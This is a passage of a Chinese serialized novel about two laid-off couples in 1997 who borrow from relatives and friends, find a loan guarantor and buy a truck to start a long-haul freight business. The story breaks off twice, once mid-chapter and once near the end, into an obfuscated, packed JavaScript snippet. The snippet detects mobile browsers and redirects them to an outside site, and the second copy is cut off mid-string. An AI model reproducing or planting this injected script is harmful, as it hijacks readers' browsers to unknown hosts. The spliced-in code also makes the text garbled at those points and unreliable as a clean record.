厚成骑着摩托车进了院，凤珍听到摩托车哒哒的声音，急忙开门看到厚成回来了高兴地迎出来说：“俺哥回来了！”凤珍接过背包，厚成进屋脱掉外衣。凤珍倒了一盆洗脸水说：“我给你煮饺子！”厚成说：“好，有点饿了！”一会儿凤珍煮好了饺子端上来，厚成边吃饺子边给凤珍讲，这次出车的见闻。厚成吃饱了重点的问题汇报完了，厚成说：“长途货运挣不到大钱、维持生活应该是有余的，可以贷款买车，我们边挣钱边还贷款，贷款还完后剩下一台车，然后再谋求发展…… 凤珍笑着风趣地说：”好，咱们发展好了，成立个车队！” 厚成说：“我睡一会儿，下午洪涛、王玲，咱们四个人去卖车公司看车，了解买车需办的哪些手续？厚成索性一级睡眠、盖上被子几分钟打起了呼噜。凤珍坐在床边上，仔细打量着厚成，摸着厚成没有刮胡子的脸，她很心痛。 厚成一觉睡到中午12点，起床活动觉得恢复了体力。凤珍拿来了干净的内衣，让他换上说：“休息好了！”厚成满意地说：“这一觉睡得真解乏！” 凤珍说：“我熬了点粥，咱们一块吃！”夫妻俩吃完午饭，凤珍准备了本子、笔装到挎包里，厚成知道凤珍这是要把重要的事项记在本子上。厚成穿上外衣，凤珍背着挎包到院子里，这时洪涛、王玲他们到了大门前，他们打过招呼，两对夫妻去卖车公司。 过去煤城人要买大货车要去长春一汽自己提车，这家公司老板看到了这个商机，和长春一汽合作开办了销售一汽大货车公司，并且可以办理贷款买车业务，这种营销方式很受长途货运司机的青睐，满足了买车资金不足的需求，开业第一批50辆车已经卖出30多辆……他们来到销售公司的大院里，看到10多辆大货车排成两行，四个人来到车旁，看到海蓝色的油漆闪闪发亮的大货车，脸上露出了喜欢的笑容。厚成、洪涛踩着踏板，从车窗看到了驾驶室的装饰，满意地点点头。 售车的女孩过来笑着问：“你们想买车吧！” 洪涛说：“是有这想法！” 女孩说：“我们去售车大厅，我会详细地给你们介绍！”女孩引领他们来到了售车大厅。姑娘给他们让座后，每个人给一瓶矿泉水说：“你们边喝水，边听我给你们介绍，拿出一份合同样本放到桌子上说：”院里停的车是长春一汽最新款九米六长厢货车，全款30万，买车首付款3万元，剩下的款可以办理贷款。贷款的条件是要有在事业单位工作人员的担保，具体的条款合同上写的清楚……” 凤珍拿起合同和王玲看了起来，售车女孩又拿了一份合同，厚成和洪涛一起在看合同——重要的条款是贷款27万元，要分36个月还清，加上利息每个月还款八千多元，凤珍把这些条款和售车女孩确认了一遍。厚成对售车女孩说：“这份合同我们带回去，我们商量一下买车的事，然后再过来！” 售车员把他们送到门外说：“欢迎再来！” 四个人很快回到了厚成家，两家人坐在一起商量买车具体要落实哪些事。凤珍拿出了厚厚的笔记本说：“我们以后关于经营车的议事都要记在这个本子上，以防备忘记。 王玲表示地说：“好，嫂子！这样好，好记性，不如烂笔头。” 洪涛说：“嫂子你是会计，以后我们账目归你管理，钱也交给你管理。还贷款，两家的生活费都由你来分配！” 王玲举起一只手表示地说：我同意！“ 厚成说：”车上的花销费用、运费收入洪涛管理，每趟出车回来报账给凤珍。” 洪涛说：“好！财务问题这么定了。还要研究买车，首付要3万元，办理车落户车牌照、保险一万元，换轮胎磨合一万元，第一趟出车加油、过道费3000元，总计5万多元……” 王玲说：“我家中有4000元。” 凤珍说：“我家有5000元。”“手里的钱只够个零头，我们分头去找亲戚朋友借，但是厂内不要张口了，因为大家都在找项目，都需要投资。”几个人点点头称是。 厚成沉思着说：“担保人找谁呢？” 洪涛说：“我想过了我们家的亲朋好友，没有在事业单位工作的。” 凤珍说，我妹夫在高中当老师，我去找他看能不能给我们担保。” 厚成说：“如果没有别的事，我们分头行动吧！” 7. 第七章 第二天厚成去了利新矿，大妹、二妹结婚都住在那里。厚成先去了大妹妹淑兰家，淑兰和丈夫都在煤矿工作，淑兰是考勤员，丈夫是段长，家里有一个7岁的男孩，他们住在矿里的工人村。 厚成进院敲了敲门，淑兰问：“是谁呀？” 厚成回答：“是大哥！” 淑兰打开门笑着说：“大哥来啦！” 厚成进了里屋，坐在沙发上。 淑兰给大哥倒了杯热水问：“大哥冷不冷？” 厚成回答说：“不冷！” 淑兰见厚成不说话了，神色有些不对劲问大哥：“你来有什么事吗？” 厚成没有回答，只是闷闷地坐在那里。 淑兰更着急了说：“大哥，你有什么事说出来呀，我是你亲妹妹呀？” 厚成看到淑兰着急的样子，只好把下岗想买车跑长途货运的事说了出来。淑兰说：“前一阵子听别人议论市政企业改制的事，没想到这么快，你和嫂子都下岗了。唉！这也是没有办法的事情，你和洪涛哥想做长途运输，你俩都能开车，我看可行。”厚成把想贷款买车借钱的想法向大妹妹说了。 淑兰说：“大哥，我们俩工资比你们高，攒了些钱，老公公生病住院花了些，现在家里有4000多元，生活费用留了一些，我给你拿3000元吧！” 厚成说：“大妹，谢谢你，告诉妹夫等我出车挣钱，一定还给你们！” 淑兰说：“大哥，你们手里没钱，还得借很多钱，我们不急用，你不用着急还。”淑兰说着打开五斗厨柜门，拿出一个铁盒子打开拿出一沓一沓钱，数了3000元递给厚成说：”大哥，你揣好！“ 厚成把钱装到贴身兜里说：”我还要去二妹家看能不能借点！“ 淑兰提醒道：“大哥路上有冰骑摩托车慢点。“ 厚成到了二妹家，二妹听到了大哥嫂子全下岗了，一时急得不知说什么好，眼泪流下来。听到大哥说要做长途货运，需要买车借钱，开柜取出了一沓现金交给大哥说：“这是我攒的2000元拿去用吧！大哥，你和嫂子干啥都能干好，大胆的干吧，你妹夫是电焊工，需要焊活让他去做！” 厚成把钱揣到怀里，点点头，心里暖暖的。 天色已经晚了，路上结冰，摩托车轮胎有点打滑，厚成一路慢行回到了家。 听到摩托声，凤珍出门迎接。厚成把摩托推到仓房，进了卧室，脱掉外衣，坐在凳子上。凤珍倒杯水递给厚成问：“借到了钱了吗？” 厚成从内衣兜里掏出了钱，放到桌子上说：“大妹家借了3000元，二妹家借了2000元。”把经过说了一遍。 凤珍从挎包里拿出了一把钱说：“巧了，我也是借来5000元，是我二妹妹借3000元，三妹借2000元……”“咱们今天借了一万元，不知洪涛，他们借了多少？” 厚成说：“你把钱收好、记在账上，今天借的钱以后挣了钱还钱时要给他们付利息，最少也要按银行利息付给，这样公平合理。” 凤珍点点头说：“好！” 夫妻俩开始做晚饭，吃完晚饭后洪涛和王玲来了，四个人坐下。厚成说：“我俩今天借了一万元钱！”说明都是借谁的，凤珍都记在账上。 洪涛说：“我们借了8000元，王玲从挎包里掏出一沓钱交给了凤珍。 凤珍接过来数了一遍后，拿出了账本，把洪涛借钱的人名、数额、日期记好了。 厚成说：”我们用借的钱做生意，无论多少钱都要付利息，最低按银行的利率付息。” 洪涛、王玲点点头…… 厚成和凤珍吃了早饭，骑上摩托车出门，先去高中找我妹夫做担保的事情。他们到了高中学校门卫时，说明要找的人是高中的数学教师叫丁建业，传达室的门卫师傅打电话问了一下说：“丁老师现在没课，你们去教学楼二楼有个数学组找他吧！” 厚成、凤珍按照门卫师傅说的线路，找到了数学组，敲敲门，有人说进来，他们俩进屋后看到这个办公室很大，有十多张办公桌，屋里有两个老师在看书，有三个老师在写东西。凤珍看到丁建业在靠窗户的办公桌正在读书，悄悄地走到建业的身旁轻轻地叫一声：“建业！” 建业抬头转脸看到了凤珍和厚成赶忙站起来说：“姐姐、姐夫来啦！” 凤珍看到屋里人都在读书、写字，感觉说话不方便：“建业，我们找你有事，能找个地方说吗？” 建业说：“可以，跟我来！”建业在前面走凤珍、厚成紧随其后，他们来到一个会议室门前，建业拿出钥匙打开门进去，三个人坐下。 厚成问：“姐姐、姐夫有什么事情？” 凤珍把工厂改制，他们夫妻下岗的事说了一遍，厚成时而补充几句。 建业问：“你们失业了，以后生活怎么办？ 凤珍说：“打算买车跑长途运输，买车贷款需要有公务员或事业单位工作的人担保，建业，咱们亲戚就你够担保条件，求你作担保！” 建业这时拿出了一支烟点着后吸了一口，约有1分钟后，他狠狠地吸了一口烟，吐出来浓浓烟雾说：”姐姐、姐夫，我说出来你们别生气，以你们现在的条件不能贷款买车，你们全部的资金都是借来的，每个月要还车贷，还有其它的借款，一旦遇到什么风险是没有能力承担的。第一，我不支持你们做长途运输生意。第二，我也不能给你们担保。” 凤珍看了看厚成的脸已经涨红到脖子说：“建业不好意思，姐姐想得不周到，打扰你了！”说完拽一下厚成大步地走出会议室。 建业喊了一声：“大姐！”跨上两大步追到凤珍面前说“你们下岗的事情不要和凤丽说，她最近流产了，在家休息！” 凤珍忙问：“她恢复的怎么样？” 建业说：“不太好，总是老头晕，不敢下床！” 凤珍说：“是这样，我不会跟她说的！”然后说：“你忙工作吧，我们走了！”夫妻俩头也没回大步地走出了高中学校。 厚成骑上摩托来到一个僻静的地方，停下了车。凤珍从车上下来看着厚成说：“建业说得没错，我们是不具备做长途运输的条件，可是我们刚从岗位上下来，我们除了本身的业务还有什么呢？无论干什么都要从头再来，无论做什么，都是要借贷的，这行跟其它的生意比我们还是有些优势的。第一，你们俩都能开车，第二有洪波为我们创造条件。” 厚成说：“你分析得对，但是眼前的担保如何解决？” 凤珍说：“我们再想想！” 两个人低头沉思一会儿，凤珍说：“我们去找我高中的女同学叫万红英，她在市里资源局工作，是个科长，她是公务员具备担保资格！” 厚成被建业吓坏了说：“自己的亲属都不肯担保，一个同学关系能答应吗？” 凤珍说：“能不能答应，我们必须得说才知道啊！我们俩一直都有联系，高中同学有什么活动，我们都是组织者，我们性格也合得来。我俩现在只能是有希望要争取呀！ 厚成心一狠说：“豁出老脸去了！我们现在去资源局！” 两个人很快到了资源局的大楼门卫登记，门卫打电话联系到万红英办公室，然后把电话递给了凤珍说：“万红英，我是于凤珍！” 万红英那边说：“凤珍，你来上三楼，我在楼梯口等你！” 凤珍放下电话对门卫说：“谢谢师傅！”然后和厚成一起上楼，万红英在三楼梯口等着他们。万红英和凤珍握握手，又和厚成握握手，然后拉着凤珍的手来到了她的办公室。万红英自己一个办公室，她把凤珍、厚成让到沙发上，然后为他们倒了两杯热水坐下说：“凤珍，很长时间没有见到你了，有些瘦了，身体怎么样？” 凤珍回答说：“身体挺好！ 万红英又问：”孩子学习怎么样？” 凤珍说：“两个孩子学习都在班级前几名！” 万红英听了很高兴。又说：“你们厂改制了，不知你们俩怎么安排的？心里还挺惦记你们，今天你们来了说说！” 凤珍这时眼圈红了，强忍住泪水简单地把他和厚成下岗的事说了一遍，万红英认真地听着，厚成又补充了几句，万红英听后能有2分钟，三个人都没有说话，只听到桌上的闹表在滴答滴答地走着。 这时万红英说：“你们现在年富力强，又都是大学毕业，正是干事业的大好年华，这时下岗对你们打击太大。但这是国家改革的需要，现在全市的国有企业都要转为民营，除了少数的处级干部留守处理善后，中层干部以下的都要面临下岗，这是很大的一个群体，所以现在调转工作也是做不到的，不知道我能帮你们什么忙，如果需要我帮忙的， 只要我能做到一定百分之百的支持你们！” 厚成和凤珍点点头表示感谢。凤珍接了红英的话题说：“红英，我不会跟你客气的。我们现在不考虑调转工作，我们现在的能力只有自谋生路，干个体吧！” 凤珍把搞长途运输的想法及有利条件和现在急需资金贷款，买车需要担保的一系列问题，全部如实的说出来了。 万红英听后沉思了一会说：“你们想做长途运输，根据你们现有的有利条件，我看可行，我支持你们！我来担保！你们贷款买车，我有个存折上面有9000元，一会儿你们拿着，这是我借给你们的。担保的手续需要我怎么做，你们打电话来我配合！” 凤珍这时激动地再也控制不住情绪了，眼泪顺着脸颊流下来说：“谢谢你！红英对我们的帮助太大啦！” 洪英说：“不客气，应该做的！” 红英工作很忙，说话间已经接过几次电话，现在电话铃又在响起，凤珍起身说：“红英，你太忙，我们不打扰你啦！我们回去还有许多事情要落实！” 红英打开卷柜，从一本书里拿出存折交给凤珍说：“密码是我的生日！” 凤珍接过存折紧紧地拥抱红英……真是患难之处见真情！ 厚成、凤珍离开了办公室，万红英在接电话没有送他们。厚成和凤珍没想到万红英能大义地伸出援助之手，解决了难题，万分的感激。 还有资金不够的问题。凤珍说：“我俩去找我大弟弟！”大弟弟和媳妇秀娟都在热力公司工作，夫妻俩不在一个车间。厚成、凤珍找到了大弟弟玉林，把下岗和要买车的事说了一遍，并且说不知道他们家有没有钱，可以借点？大弟弟听姐姐、姐夫的情况，立刻说：“我现在给我媳妇儿打电话让她过来，我不知道家中有多少钱！”玉林拿起电话打过去，告诉接电话的人找秀娟。秀娟接电话玉林说：“，我姐来了有事找我们！” 秀娟车间距离玉林车间不远，不一会，秀娟急匆匆来了，和凤珍、厚成打了招呼。玉林把姐姐、姐夫下岗要买车的事情向秀娟简单说了一下。秀娟是个快言快语的人：“姐姐，姐夫长途运输很辛苦，我们家有个亲属也干这行，现在说往外兑车不想干了，说是太遭罪啦，挣不了多少钱，你们可要想好了，别干上这一行后悔来不及！”“我家里有3000元，这是我背着玉林攒下的，因为他常和朋友出去喝酒花钱大，他要知道我攒了钱更是会喝大酒……”边说边笑，“明天星期天我们休息，我俩明天给你们送去！”玉林点头说，“你这攒钱用上啦！” 凤珍拉着秀娟的手说：“大姐、大姐夫谢谢你们！不影响你们工作，我们走啦！” 厚成和凤珍走出了热力公司大院，凤珍说：“这里离二妹家不远，我想去看看她 厚成说：“二妹结婚3年了，怀孕都流产，这是习惯性流产，你要她去医院查查什么原因，不然身体会出现毛病！买点营养品吧！” 他们来到了商场，买了奶粉，麦乳精，红糖，买了一只鸡。厚成、凤珍到了二妹家门口，厚成说：“凤珍你进屋看二妹，我在外边等你！” 凤珍下了车，点点头说：“好，我很快出来！” 凤珍提着东西进屋了，能有20多分钟凤珍出来了。 厚成想起了一个人，是高中同学李树林，他是搞煤炭销售，这几年煤炭生意做的如鱼得水，挣到了钱，上个月他们在酒桌见的面，是他请几名要好的同学喝酒。于是，厚成对凤珍说：“找李树林帮忙！” 同学李树林没有固定的单位，厚成找到他是用座机打传呼联系上的。他们见面后，厚成说他和凤珍下岗了，改行要经营长途运输，需要贷款买车，向他借点钱付车首付款。 李树林是个爽快的人：“你们俩干什么都行，我相信你们很快会适应的，我对你们有信心，这样我借你们五千元钱，明天我去银行取款给你们送去！”李树林为人热情、仗义，厚成、凤珍十分感激。 厚成、凤珍回家路过菜市场。凤珍说：“明天我弟玉林，你同学李树林他们来送钱，我们留着吃饭，买些菜！ 厚成说：“你想得可真周到啊！”他们去了菜市场，买了些新鲜蔬菜、鱼和肉…… 他们回到家里，凤珍切了酸菜丝和肉丝，放点葱花，爆炒一会儿香味串了满屋，两大碗炝汤的面条，一会儿吃光了，炝汤味道鲜美，厚成把碗里的汤喝了干净。 听到敲门声，凤珍从窗户看到洪涛和王玲来了。厚成出去开门，洪涛进屋后，立刻闻到了酸菜鲜美味儿：“好香啊！” 凤珍问：“你们没吃饭吧？” 洪涛立刻回答：“没有！” 凤珍说：“我去给你们做碗酸菜炝汤面条！” 洪涛说：“太好啦！我们想吃这口啦！” 凤珍去做饭，厚成给他们俩倒水。三个人坐下后，厚成和他们汇报今天办事的情况。洪涛听担保人落实了高兴地说：“太好啦！是你们解决最大的难题！” 一会儿凤珍煮好了面端了进来，洪涛、王玲洗了手，吃起了面条，边吃边说，凤珍做的面可真好吃啊！ 洪涛，王玲吃完饭，凤珍从挎包里拿出万红英的存款折说：“提车时去取。明天我大弟和李树林能来送钱。王玲拿过挎包，从里面拿出一包钱，说这是我表弟借给的3000元，洪波借给一万元，凤珍点过后拿出了本子记账，连同存折一起放到了柜里。 洪涛说：”洪波让我明天跟他出车，他说我没有开过大车，让我跟他练习一下大车实际操作！ 厚成说：“你明天跟洪波走，我筹够款办理提车和办理车牌、保险等手续！” 洪涛说：“这样好，两不耽误。” 第二天早上7点，厚成把摩托车推到大门外，洪涛提个兜子走了过来说：“我们走吧！”厚成骑上摩托车带着洪涛奔着配货站去了。 凤珍打扫卫生出去倒垃圾到门口，背后听到摩托车哒哒的声音越来越近，心里纳闷厚成咋回来了？有人喊一声：“大姐！”回头看是弟弟玉林骑着摩托车，带着秀娟来了。说着到了门口，玉林停下摩托车，秀娟叫：“大姐！” 凤珍看着他俩眼睫毛挂了白霜问：“今天早晨冷吧？” 玉林说：”这天气还是有点冷，早晨刮了西北风还打点脸！” 他们进了屋，凤珍给他们倒了两杯热水说：“喝点热水暖和暖和！” 秀娟喝了口热水问：“姐夫没在家呀？” 凤珍回答说：“你姐夫和洪涛去配货站啦！” 秀娟打开挎包，拿出一个纸包说：“大姐这五千元有我们三千元，还有玉森一千元，凤荣一千元。我们昨天下班后去了凤荣家，把你们买车事情和说了，凤荣把这钱让我们给你们带过来。玉森他们说没有多、还有少，大伙凑凑钱支持你们买车！大姐家有事，兄弟妹妹是一定要帮扶。”说着把钱递给了凤珍说：“大姐，你点点！” 凤珍接过钱点完后放到桌上说：“收下你们的心意，我们挣到钱，大姐尽快还给你们！” 秀娟说：“大姐还钱不急，你们踏实的干吧！我相信你和姐夫干啥都行，能挣到钱……我们没有告诉玉山，怕他告诉妈，妈知道了该牵挂。” 凤珍说：“你们这样做是对的，千万不能让妈知道，她年龄大了不担事。” 秀娟从挎包里掏出两袋糖果说：“这是给小凯、小丹的买的。” 凤珍说：”还想着两个孩子呢！我买了鱼，你们留下吃午饭后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987678|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。” 秀娟说：“大姐我们走了！我们要去我妈家。” 凤珍说：“好好，你们去吧，我不留你们啦！” 送走了玉林夫妻，凤珍打开衣柜，拿出小包把钱放里头，然后拿出账本写玉林三千元，玉森一千元，于凤荣一千元，刚收起账本，这时听到有人敲门，凤珍忙去开门，是厚成的同学李树林夫妻俩来了。凤珍打招呼热情地让他们进屋。因为他们经常来往很熟，都坐下后，凤珍给他们倒了热水。 李树林的媳妇叫杨凤芝，也是个性格很开朗的人。“嫂子你别忙乎啦！”，说着打开手里的兜掏出了一个鼓鼓的信封说：“我们刚从银行取出了钱，这是五千元，嫂子，你点点！” 凤珍接过钱说：“谢谢！你们还给送来，真不知道说什么好！” 李树林问：“厚成呢？” 凤珍说：“和洪涛去配货站了！要提车，我们也没有什么经验，去问问洪波具体的事情。” 树林说：“厚成干什么都心细，你们一定能挣到钱！” 于凤珍拿出纸和笔，要给他们写借据，杨凤芝一把抢过笔说：“凤珍，你这是干什么，你俩是我们最信任的老同学！你们下岗我们为你们难过、担心……以后需要我们帮忙就说吧！” 凤珍只好收起纸和笔说：“好，不写了，不写了!” 李树林笑着说:”这就对了嘛!” 杨凤芝从兜里拿出两个盒装的钢笔放到桌上，说来时到商店给小凯、小丹买的钢笔。” 凤珍说：“你太费心啦！孩子们看到一定会乐得蹦起来！” 杨凤芝看手表指针9点多了说：“我们不等厚成了，今天有好多事要办，还要去看老人！” 凤珍说：“我做饭，你们吃完饭再走！” 杨凤芝说:“不在这吃了，我们姐妹约好今天回去看爸妈，他们会等我们的！” 凤珍看留不住：“好吧，以后我们再聚！”凤珍送他们到大门，看他们拐弯了身影消失了才回屋子里。 凤珍拿起沉甸甸的一包钱，感激的眼泪从眼角流下来。她打开立柜，拿出小包把钱放里头，又拿出笔和纸，在账本里记着上李树林五千元和时间。 厚成回来停下摩托车，进屋里摘下手套、围脖说：“中午阳光足，热了！” 凤珍揭开闷罐盖，拣出馒头，又盛菜端到饭桌上，两个人边吃边聊。厚成说见到洪波，说明天提车的事。洪波说我没有开过大车，找了一个大车司机，这个司机叫刘勇，是洪波的师傅，这几天师傅的车在修理厂大修，有时间能帮忙把新车提出来、办理牌照，还要焊护栏等等。刘师傅已经答应了我们约好明天9点到卖车公司见面…… 凤珍说，你走后不多时，玉林和秀娟来了，李树林夫妻也来了，她把他们送来的钱情况说了一遍。 厚成听后感动地说：”我们过去对亲朋好友也有做得不完美地方，今后对他们要尽心尽力！” 第2天早上，他们几个如约到了卖车公司，售车小姑娘熟练的带领他们签了合同，交了三万元的首付款，万红英签了担保书，又签了银行贷款协议书……一切手续办完后，刘师傅、厚成去了停车场，上了一辆新车，启动发动机听着清脆咚咚声音感觉满意！ 厚成下车说：“我们就提这台吧！” 凤珍从挎包里拿出了6条红绸布，厚成、刘师傅在车前、车后、车轮胎上都系好了红绸子…… 刘师傅驾驶新车开到卖车公司大门口，厚成下车点燃了1000响的鞭炮，然后几个人高高兴兴地去了车管所，路上行人看到这辆新车都投以羡慕的目光。 他们在车管所忙了一上午办完了落户手续。刘师傅和厚成商量后，将新车开到了汽车修理厂，修理师傅见到新车进厂忙过了接待他们。经常接新车，应该做哪些活，他们再清楚不过了。刘师傅和厚成把价格也谈好了，修理师傅们开始工作了。 厚成看了看表下午1点多了说：“刘师傅，一定是饿了吧？我们去吃点饭吧！” 他们到修理厂附近的小吃部，凤珍看菜谱要了4个菜。 厚成问：“刘师傅，你喝点你什么酒？” 刘师傅回答：“给我来个小瓶的二锅头，我喝点酒爱睡觉！” 厚成说：“新车维护明天下午能完成。” 刘师傅：“是的，我们能提车，我陪你新车跑磨合。” 厚成说：“刘师傅还得让你受累！” 刘师傅说：“有洪波这方面的关系，你别客气！以后我们都在路上跑，还要互相照应……” 凤珍拿过酒瓶给刘师傅倒在杯里，四个人边吃饭边聊着经营车的话题，一会儿吃完饭，凤珍结过账，她和王玲回家，厚成送刘师傅回家。他们告别后分头走了。 凤珍和玉玲回到了家里，从立柜里拿出了账本说：“我们把今天付出的钱记上。”然后拿出票据按先后顺序逐项登记账上，又点了现金，然后让王玲核对一下。 王玲说：“嫂子，钱账都对上了，没别的事儿我回家!” 凤珍说:“车我们提回来了，忙了一上午也累了，回去踏实睡一觉吧！” 凤珍把桌子上的钱票子放到衣柜里，躺在床上睡了…… 洪波这趟活是去江北巴彦给张老板送煤。 洪波让洪涛坐到驾驶位说：“现在是空车，你开着我看着！” 洪涛上车坐到驾驶位，开始发动车，不自觉地感到腿有点抖，心想紧张什么，又不是不会开车，只是车大小不同。挂档、起步……洪涛开车出了配货站大门。 洪波说：“往右拐去富强二井，先上富强的大路！” 洪波看着洪涛开得很稳，便告诉他开大车与开小车的区别，开空车与开重车的区别。他们去富强二井的小路行驶一段，又到了去矿里的小路，很窄，是煤矿用矸石垫起来的路，行车多了道路坑洼不平，车辆颠簸地很难走。 对面又开过来一辆重车，洪波说：“我们往边上错一错，让重车过去！” 洪涛把车往路边错一米的位置停下，洪波摆一下手示意重车先过，重车慢慢地过去了，司机礼貌地按着喇叭滴滴表示“谢谢！” 洪涛把车开到煤矿煤堆下，找一个窝子，这时矿里的铲车过来了，付煤员也过来，这辆车定装30吨煤，洪波代货主把煤款付了，然后铲车开始装煤。他们哥俩找个避风的地方，一个多小时货车煤装满了。 洪波说：“二哥，我俩上车平车！” 洪波把工具箱打开，拿了两把铁锹递给了洪涛一把，他们上车后把铲车装得坑洼地方铲平整了，然后把卷起来的苫布盖上，洪波跳下来把苫布边扣眼按照车厢的孔都紧紧地捆好。 洪波说：“二哥，看你开车开的挺稳的，你开车操练重车！” 洪涛坐在驾驶位，挂档、踩下油门起步，明显感觉跟空车不一样，空车轻轻踩一下油门车就起步了，而重车起步油门差不多踩到底了，车像老牛似的笨重地起步……洪涛这时感到重车不好开。 洪波指导洪涛开车说：“现在一定要慢，因为路况不好重车有点晃，只能慢慢的挪出，上了公路就好了！” 洪涛定下心来，慢慢地开出了矿里的小路，上了公路，洪涛心里轻松多了。 他们回到配货站大门洪涛把车停下，传亮提着兜子过来，洪波招呼传亮从右边上车，洪波上了卧铺，传亮坐到副驾说：“二哥是你开回来的？” 洪涛回答：“是！” 洪波说：“传亮你照看二哥开车！” 他们上了哈同高速公路，洪涛稳稳地开着车，路上避让车辆开得都很得当。 传亮表扬地说：“二哥，你开车的悟性真好，第一次出车，能把车开的这么稳、很不错啊！” 洪波不放心，坐在铺上观望，过了一个多小时，洪波不看了，躺下休息了。 到了收费站，传亮从兜里拿出钱递给洪涛，洪涛交过了过道费，收货员付了票据，传亮装进了兜里，他们继续往前行驶。路上传亮又给洪涛讲了一些高速行驶的知识，洪涛认真地听一一地记在心里…… 8. 第八章 两天后，刘师傅在副驾指导、厚成驾驶着新车来到了配货站，他们把车停到车场等洪涛、洪波他们回来。不到一小时，洪涛、洪波、传亮他们回到了货站。 洪涛问厚成说：“哥，我们的车弄好了吗？” 厚成回答说：“车现在都弄好了！”看着刘师傅对洪波说：“这两天辛苦了刘师傅！” 洪涛说：“谢谢刘师傅！” 他们5个人走过来看看新车，洪涛摸摸这、摸摸那，高兴得合不拢嘴。传亮见状逗着说：“你们看二哥见到新车比见到嫂子还高兴！”几个人哈哈大笑了起来。 洪波说：“宋哥，今天30号了，你们去交养路费、运管费，我们1号出车。我这两天也要保养一下车。” 洪波对货站大姐说：“下一次给我们接两台车的活，我们一起走。” 厚成说：“那最好啦！” 洪波说：“你们交养路费、运管费的钱够不够？不够我给你们拿。” 厚成说：“够了！一会我去交养路费。” 厚成开车，洪涛坐在副驾驶位置，从兜里掏出传呼机说：“这是洪波给的，说联系方便。” 厚成看着说：“还是汉显的啊！洪波对咱们太支持啦！” 他们来到交通局收费大厅，月末来交费的人很多，厚成排队，洪涛坐在椅子上睡着了。厚成交完费叫醒洪涛，两个人又把车开回货站，他们把车停在车场后，厚成骑着摩托车和洪涛一起回家。厚成一直把洪涛送到家门口说：“你回去休息，睡好了，和玉玲来我家还有些事情要商量。” 洪涛说：“好的！” 厚成回到家，把这几天提车付钱的收据，还有交养路费等票据都掏出来给凤珍说：“你算算，我付的钱和剩的钱，对不对？” 凤珍拿来个新挎包说：“你把路上要带的证件装在这个兜里！”然后把厚成的票据算了算，又点点剩的现金说：”对了！” 下午两点多，洪涛和玉玲来到了厚成家。厚成问：“这次你们出门挺顺利的吧！” 洪涛说：“嗯！这趟活我开的车，洪波和传亮看着我。一路顺利卸车，货主人挺好，来到看过煤就付款。我们回来配货很顺利。” 厚成说：“但愿我们出车也能这么顺利。”厚成又说：“咱们两家四个人开个小会，新车到手了，商量一下咱们怎么管理车？咱们先议论议论，然后整理几条，凤珍记录下来，去打印两份作为我们合作的协议。” 洪涛赞成地说：“这样好，咱们也有章可循。” 厚成说：“我的思路：我们现在买车所借的资金都记在账上，我们不分是谁家借的，每个月除了还车贷，我和洪涛不开资，剩下的钱我们每家留一千元生活费，余下的钱按借款的前后顺序，无论多少钱，我们使用的时间乘以银行的利率还本付息；我们要用最短的时间把借钱还上，出车上的钱归洪涛管理，车回来后交给凤珍记账。我就想到这些了，你们再说一说。” 洪涛说：“哥说得这些我觉得可行。我们快速还债，这辆车是我们两家的固定资产，两家仅有9000元钱，亲戚朋友兄弟姐妹帮扶，咱们一定要干好，才不辜负他们的信任。” 王玲说：“我也同意宋哥的说法。” 凤珍说：“我能把账记好，和王玲把家和孩子管好。你们安心出车，早日把债务还清。” 厚成说：“咱们意见一致，凤珍你写个协议，我们都签上字。我们合作经营从现在开始，但愿我们早日还上债务，过上安稳的生活！”几个人都很高兴…… 这是1997年4月1日是宋厚成、陈洪涛身份历史性转变的一天。 他们从国有企业的干部、职工转为个体劳动者……两家仅有九千元钱，两家的兄弟姐妹、同学、朋友借给他们的买车首付款，借款人名有13位，他们如愿地买到货车；有了生产资料，两个人要撸起袖子加油干！ 凤珍说：“我们大事定好了，王玲我们包饺子庆祝一下！” 王玲说：“好的！” 她俩去了厨房，忙着剁馅子、和面……不一会，他们把馅儿和面都弄好了，凤珍拿了面板放在桌上对厚成、洪涛说：“你们俩去洗手一起包饺子，一会孩子们要放学回来啦！” 凤珍拿了个兜去邻居小卖店买了啤酒，还给孩子买了饮料。四个人边包饺子，边谈着出车的事情，很快饺子包好了。 凤珍已经把煮饺子的水烧开了，开始下锅煮饺子，玉玲剥好了蒜，捣好了蒜酱。把桌子收拾好，拿上了餐具，这时三个孩子进院了。 王玲站在门口，小凯、小丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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厚成、凤珍听见往出走，厚成从仓库推出摩托车，王玲把手里的大包给洪涛后，洪涛上了摩托车，凤珍、王玲挥挥手大声说：“你们一路平安！” 洪涛挥挥手，摩托车一溜烟跑远了。 9. 第 9 章 厚成、陈洪涛到了配货站，见到洪波和传亮他们俩休息了两天，人也精神了，换上干净的衣服，一下子年轻好几岁。 洪波说：“哥，我们一会儿去铁东红胜矿装煤，是呼兰的一个老货主要煤，我和他说了你们的情况，他听后说是你哥不是外人，第一趟出车，图个顺利，让你跟我一起去。 洪波说：“装车的煤钱我给你们垫上，卸煤后他们付给我们煤款和运费钱。” 厚成说：“这不，还要抢你的活！” 洪波说：“哥你说啥呢！”说着他们去提车，洪涛坐上驾驶位，厚成坐在副驾位，车出发了。传亮开车在前面带路，洪涛一路开得很稳，上了小矿的路上，洪涛开得很慢，生怕颠坏了车。到矿上后，付煤员联系了铲车，装煤铲车先装洪波的车，然后装厚成的车。装完后他们把车平好，盖好苫布，把煤款付给付煤员，这时已经是晚上7点多了。洪波说：“哥，我们在前面，你们跟着我们，到服务区吃饭！休息午夜12点以后上路，因为你们的养路费过12点才有效，如果现在被抓住要罚很多钱呢！” 